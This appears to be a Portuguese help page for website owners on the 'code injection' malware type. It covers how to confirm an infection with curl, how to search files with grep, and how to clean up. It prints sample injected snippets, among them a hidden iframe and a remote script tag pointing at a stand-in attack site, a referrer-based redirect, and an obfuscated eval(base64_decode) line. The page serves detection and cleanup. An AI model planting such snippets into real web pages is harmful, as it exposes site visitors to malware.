Tipo de infecção por malware: injeção de código

O que significa ter páginas marcadas com o tipo de infecção por malware "Injeção de código" no Google Search Console?

Isso significa que páginas em seu site foram modificadas de forma a incluir código malicioso, como um iframe para um site invasor contendo malware.

Para mais informações gerais sobre malware, consulte Avalie os danos (invadido por malware).

Como faço para investigar o tipo de malware "Injeção de código"?

Em primeiro lugar, evite o uso de um navegador para visualizar páginas infectadas em seu site. Como muitas vezes o malware se espalha explorando vulnerabilidades do navegador, abrir uma página infectada com malware em um navegador pode danificar seu computador.

Confirme o comportamento usando cURL ou Wget para realizar solicitações HTTP (por exemplo, para buscar uma página). Essas ferramentas disponíveis gratuitamente são úteis nos redirecionamentos de diagnósticos e têm a flexibilidade de incluir informações do referenciador ou de user-agent. Ao veicular conteúdo malicioso apenas para usuários com user-agents ou referenciadores específicos, o hacker pode segmentar mais "pessoas reais" e evitar a detecção por parte de proprietários de sites e scanners de malware. Seu site precisa estar on-line para usar essas ferramentas.

Por exemplo:

$curl -v --referer <referer-field> --user-agent "Mozilla/5.0 (
  Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, como Gecko) 
  Chrome/12.0.742.112 Safari/534.30" <your-url>
como
$curl -v --referer "http://www.google.com" --user-agent "Mozilla/5.0 
  (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.30 (KHTML, como Gecko) 
  Chrome/12.0.742.112 Safari/534.30" http://www.example.com/page.html

Em seguida, faça o login para seu sistema de arquivos. Investigue todos os recursos que atuam em URLs infectados "injeção de código". Algumas injeções de código malicioso inserem:

  • iframe para um site invasor
  • <iframe frameborder="0" height="0" src="http://<attack-site>/path/file" 
      style="display:none" width="0"></iframe>
  • JavaScript ou outra linguagem de script que chama e executa scripts a partir de um site invasor
  • <script type='text/javascript' src='http://malware-attack-site/js/x55.js'></script>
  • Scripts que redirecionam o navegador para um site invasor
  • <script>
      if (document.referrer.match(/google\.com/)) {
        window.location("http://malware-attack-site/");
      }
    </script>
  • Código malicioso que é ofuscado para evitar a detecção
  • eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
  • Arquivos de objetos compartilhados elaborados para escrever aleatoriamente códigos nocivos em scripts que seriam benignos
  • #httpd.conf modificado pelo hacker
    LoadModule harmful_module modules/mod_harmful.so
    AddModule mod_harmful.c

Investigue todos os possíveis códigos nocivos presentes no site. Pode ser útil pesquisar palavras como [iframe] para encontrar o código iframe. Outras palavras-chave úteis são "script", "eval" e "unescape". Por exemplo, em sistemas baseados em Unix:

$grep -irn "iframe" ./ | less

Como faço para limpar meu site do tipo de malware "Injeção de código"?

Quando estiver pronto para limpar seu site (Etapa 7 do processo de recuperação Ajuda para sites invadidos), você pode substituir os arquivos afetados pelo último backup em bom estado ou remover a injeção de código de cada página e todas as funções ou arquivos relacionados a script. Se você modificar os arquivos de configuração do servidor, pode precisar reiniciar o servidor para que as alterações entrem em vigor.

Esteja ciente de que remover o código malicioso não resolve a vulnerabilidade subjacente que permitiu ao hacker comprometer inicialmente o site. Sem corrigir a causa raiz, o site pode ser comprometido novamente no futuro. Para ver mais informações sobre como limpar todo o site, não apenas esse tipo de malware, consulte Ajuda para sites invadidos, especificamente a seção "Avaliação dos danos ao sistema de arquivos", na Etapa 5: avalie o dano (invadido por malware).

Isso foi útil?
Como podemos melhorá-lo?